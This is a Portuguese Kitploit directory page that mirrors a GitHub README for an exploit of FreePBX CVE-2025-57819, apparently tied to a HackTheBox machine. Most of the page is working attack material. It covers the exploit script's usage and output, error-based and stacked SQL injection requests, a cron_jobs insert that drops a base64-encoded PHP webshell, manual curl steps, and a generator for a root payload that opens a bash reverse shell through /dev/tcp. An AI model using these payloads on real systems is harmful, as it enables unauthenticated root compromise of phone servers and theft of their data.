Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
FreePBX-CVE-2025-57819 — Injeção SQL não autenticada para Execução Remota de Código no FreePBX — CVE-2025-57819 | Kitploit
Ferramentas/GitHubGitHub/yuvrajshad/freepbx-cve-2025-57819
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed TeamingDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
yuvrajshad/freepbx-cve-2025-57819

FreePBX-CVE-2025-57819

Injeção SQL não autenticada para Execução Remota de Código no FreePBX — CVE-2025-57819

Ver Repositório
115há 3 mesesAinda não revisado

FreePBX CVE-2025-57819 — SQLi não autenticado para RCE como root

Gravidade: Crítica
Tipo: Injeção SQL não autenticada → Execução Remota de Código
Software Afetado: FreePBX (módulo endpoint)
Testado em: FreePBX no CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5

Visão Geral

Uma vulnerabilidade de injeção SQL não autenticada existe no módulo endpoint do FreePBX através do parâmetro brand em /admin/ajax.php. Nenhuma credencial é necessária para explorar esta vulnerabilidade.

Combinada com o mecanismo interno de tarefas cron do FreePBX e o sistema de hooks incron/fwconsole, isso leva a um shell root completo e não autenticado.

Cadeia de Ataque

root@kitploit:~
[Sem Autenticação Necessária]
        │
        ▼
Injeção SQL não autenticada
(/admin/ajax.php → parâmetro brand)
        │
        ├──► Extrair credenciais do banco, hashes de usuários
        │
        ├──► INSERIR em cron_jobs
        │         │
        │         └──► webshell PHP depositada na raiz web
        │                   │
        │                   └──► RCE como asterisk (flag de usuário)
        │
        └──► Escrever arquivo de gatilho incron (como asterisk)
                  │
                  └──► sysadmin_manager é acionado como root
                            │
                            └──► hook fwconsole → Shell Root

Uso

root@kitploit:~
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>

Exemplo:

root@kitploit:~
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999

Saída:

root@kitploit:~
[*] Verificando SQLi não autenticado...
[+] SQLi confirmado!
[+] Banco : asterisk
[+] Versão : 5.5.65-MariaDB
[+] Usuário BD : freepbxuser@localhost
[*] Inserindo tarefa cron para soltar webshell...
[+] Tarefa cron inserida — aguardando até 90s para ser executada...
[+] Webshell ativo! → uid=999(asterisk) gid=1000(asterisk)
[+] Flag de usuário → HTB{REDACTED}
[*] Acionando shell root → 10.10.xx.xx:9999
[+] Arquivo de gatilho criado — incron o executará como root!

Como Funciona

Estágio 1 — Injeção SQL

O parâmetro brand no manipulador AJAX do módulo endpoint é passado diretamente para uma consulta SQL sem sanitização:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model
    &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Isso retorna o nome do banco de dados dentro de um erro XPATH — uma técnica clássica de SQLi baseada em erro. Consultas empilhadas também são suportadas, permitindo operações INSERT, UPDATE e DELETE.

Estágio 2 — Webshell via Cron

Usando consultas empilhadas, uma tarefa cron é inserida na tabela cron_jobs do FreePBX:

root@kitploit:~
INSERT INTO cron_jobs 
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES 
  ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
   NULL, '* * * * *', 30, 1, 1)

O executor cron do FreePBX executa isso a cada minuto, depositando um webshell PHP na raiz web.

Estágio 3 — Root via Incron + Hook fwconsole

incrond monitora /var/spool/asterisk/incron/ (gravável pelo usuário asterisk). Quando um arquivo é criado lá, ele aciona /usr/bin/sysadmin_manager como root.

O formato do nome do arquivo api.fwconsole-commands.<payload> mapeia para um hook pré-existente assinado com GPG em:

root@kitploit:~
/var/www/html/admin/modules/api/hooks/fwconsole-commands

O hook decodifica o nome do arquivo como um payload base64(zlib(json([cmd, txn_id]))) e executa:

root@kitploit:~
$cmd = "/usr/sbin/fwconsole $command 2>&1";

Usar help; como prefixo satisfaz o fwconsole como comando válido, e o ; encadeia comandos shell arbitrários:

root@kitploit:~
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Isso executa como root, fornecendo um shell root completo.

Exploração Manual

Passo 1 — Verificar SQLi

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"

Passo 2 — Soltar webshell

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"

Passo 3 — Gerar payload root

root@kitploit:~
# Salve em um arquivo para evitar problemas de aspas no shell
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py

Passo 4 — Acionar shell root

root@kitploit:~
# No alvo (como asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"

Principais Descobertas Durante a Análise

Cronograma de Divulgação

DataEvento
2025Vulnerabilidade descoberta e reportada
2025-11-30Máquina implantada no HackTheBox
2025CVE-2025-57819 atribuído

Aviso Legal

Esta ferramenta é apenas para fins educacionais e testes de segurança autorizados. Não use contra sistemas para os quais você não tenha permissão explícita para testar. O autor não é responsável por qualquer uso indevido.

Referências

  • PoC do watchTowr Labs
  • Aviso de Segurança do FreePBX
  • Detalhe do CVE-2025-57819
Baixar ferramenta
DescobertaDetalhe
Banco de dadosasterisk (MariaDB 5.5.65)
Usuário BDfreepbxuser@localhost
Usuário webasterisk (uid=999)
Tabela crongravável via SQLi
Diretório incron/var/spool/asterisk/incron/ (gravável por asterisk)
Escalação de privilégiohook fwconsole executa como root via incrond
Método rootGatilho incron → hook fwconsole assinado → injeção de comando